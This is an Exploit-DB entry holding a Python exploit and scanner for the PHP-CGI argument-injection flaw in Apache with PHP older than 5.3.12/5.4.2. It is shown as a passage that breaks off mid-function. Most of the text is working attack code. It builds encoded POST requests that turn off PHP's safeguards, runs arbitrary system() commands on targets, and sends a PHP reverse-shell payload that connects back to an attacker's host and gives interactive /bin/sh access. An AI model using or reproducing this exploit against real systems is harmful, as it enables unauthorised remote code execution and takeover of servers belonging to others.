Exploit-DB #29316
Description: Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
Type: remote
Platform: php
Date: 2013-10-31
Author: noptrix

Exploit:
#!/usr/bin/env python
#
# ap-unlock-v1337.py - apache + php 5.* rem0te c0de execution exploit
#
# NOTE:
#   - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((
#   - for connect back shell start netcat/nc and bind port on given host:port
#   - is ip-range scanner not is multithreaded, but iz multithreaded iz in
#   random scanner and is scanner from file (greets to MustLive)
#   - more php paths can be added
#   - adjust this shit for windows b0xes
#
# 2013
# by noptrix - http://nullsecurity.net/

import sys, socket, argparse, threading, time, random, select, ssl


NONE = 0
VULN = 1
SCMD = 2
XPLT = 3

t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \
        '%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \
        '%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \
        '%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\
        '%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\
        'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'


def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):
    c0nn_b4ck = \
    '''
    <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";
    $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;
    $error_a = null; $shell = "unset HISTFILE; uname -a; id; /bin/sh -i";
    $daemon = 0;
    $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();
    if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {
    exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {
    printit("$errstr ($errno)");exit(1);}$descriptorspec = array(
    0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));
    $process = proc_open($shell, $descriptorspec, $pipes);
    if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
    printit("Successfully opened reverse shell to $ip:$port");while (1) {
    if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
    if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
	$read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");
	$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);
	if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}
	if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
    function printit ($string) {if (!$daemon) {print "$string\n";}}?>
    '''
    return c0nn_b4ck


def enc0dez():
    n33dz1 = ('cgi-bin', 'php')
    n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',
            'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',
            'open_basedir=none', '-d', 'auto_prepend_file=php://input',
            '-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',
            '-d', 'auto_prepend_file=php://input', '-n')
    fl4g = 0
    arg5 = ''
    p4th = ''
    plus = ''
 
    for x in n33dz2:
        if fl4g == 1:
            plus = '+'
        arg5 = arg5 + plus + \
                ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
        fl4g = 1
    for x in n33dz1:
        p4th = p4th + '/' + \
                ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
    return (p4th, arg5)


def m4k3_p4yl0rd(p4yl0rd, m0de):
    p4th, arg5 = enc0dez()
    if m0de == VULN:
        p4yl0rd = t3st
    elif m0de == SCMD or m0de == XPLT:
        p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \
                'Host: ' + sys.argv[1] + '\r\n' \
                'Content-Type: application/x-www-form-urlencoded\r\n' \
                'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd
    return p4yl0rd


def s3nd_sh1t_ss1(args, m0de, c0nn_b4ck):
    pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
    s = d0_c0nn3ct(args)
    try:
        ss = socket.ssl(s)
    except:
        print "-> n0 w3bs3rv3r 0n %s" % (args.h)
        return
    if m0de == VULN:
        p4yl0rd = m4k3_p4yl0rd('', m0de)
        ss.write(p4yl0rd)
        try:
            d4t4 = ss.read(8192)
        except:
            return
        for p in pat:
            if p in d4t4:
                print "-> " + args.h + " vu1n"
                return args.h
            else:
                if args.v:
                    print "-> %s n0t vu1n" % (args.h)
                    return
    elif m0de == SCMD:
        p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
        ss.write(p4yl0rd)
        rd, wd, ex = select.select([s], [], [], float(args.T))
        if rd:
            for l1n3 in ss.read():
                sys.stdout.write(l1n3)
    elif m0de == XPLT:
        p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
        ss.write(p4yl0rd)
    else:
        if args.v:
            print "-> n0 w3bs3rv3r 0n %s" % (args.h)
    return


def s3nd_sh1t(args, m0de, c0nn_b4ck):
    pat = ('<b>Parse error</b>:', '<b>Warning</b>:')
    s = d0_c0nn3ct(args)
    if s:
        if m0de == VULN:
            p4yl0rd = m4k3_p4yl0rd('', m0de)
            s.sendall(p4yl0rd)
            try:
                d4t4 = s.recv(8192)
            except:
                return
            for p in pat:
                try:
                    if p in d4t4